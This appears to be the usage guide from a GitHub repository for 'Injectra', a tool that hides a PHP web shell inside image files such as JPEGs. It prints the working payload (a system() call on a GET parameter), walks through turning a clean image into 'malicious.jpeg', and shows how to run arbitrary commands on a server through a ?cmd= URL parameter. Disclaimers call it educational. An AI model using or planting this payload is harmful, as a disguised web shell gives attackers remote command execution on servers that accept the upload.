Skip to content

Latest commit

 

History

History
78 lines (47 loc) · 2.62 KB

GUIDE.md

File metadata and controls

78 lines (47 loc) · 2.62 KB

Using Injectra: Practical Guide

This section demonstrates how to use the files generated by Injectra and execute the injected payloads in a controlled environment on both Windows and Linux systems.

Payload Execution

Injectra injects a PHP payload like:

<?php system($_GET["cmd"]); ?>

To trigger the payload, access the injected file on a web server and append a query parameter, i.e:

http://localhost/malicious.jpeg?cmd=<command>

Replace <command> with the desired command, such as ls or whoami.

Creating Malicious Files with Injectra

Below is an example of how to create a malicious file using Injectra:

1. Original File: not_malicious.jpeg

This is the clean file you start with. For this example, it's a simple JPEG image with no malicious code.

2. Inject the Payload

Run Injectra and specify the path to not_malicious.jpeg as the input file. For this proof of concept (POC), we will use the default PHP payload, though you have the option to create a custom one if needed. Save the generated output as malicious.jpeg.

python Injectra.py

Follow the prompts:

  • Input File: not_malicious.jpeg
  • Output File: malicious.jpeg
  • Payload: (Default)

3. Resulting File: malicious.jpeg

The tool generates a new file (malicious.jpeg) containing the injected payload while maintaining the appearance and functionality of the original image.

Testing the Injected File

Here’s an example using your file:

Step-by-Step

  1. Upload malicious.jpeg to your testing server.
  2. Access the file in your browser with a command parameter, i.e: 
    http://localhost/malicious.jpeg?cmd=<command>
  3. If successful, you'll see the output of the executed command.

Important Notes

  • Ethical Use Only: Always ensure you have proper authorization before testing any file or system.
  • Testing Environment: Use a secure, isolated environment for testing to prevent accidental harm to systems.
  • Default Payload: The default payload is a basic PHP command execution script, but you can inject any payload depending on your goals.

Disclaimer

  • Educational Purposes Only: Injectra is intended for educational and security research purposes. It is not to be used for malicious or unauthorized activities. Users must obtain proper authorization before testing any file or system.

Author

Created by: AnonKryptiQuz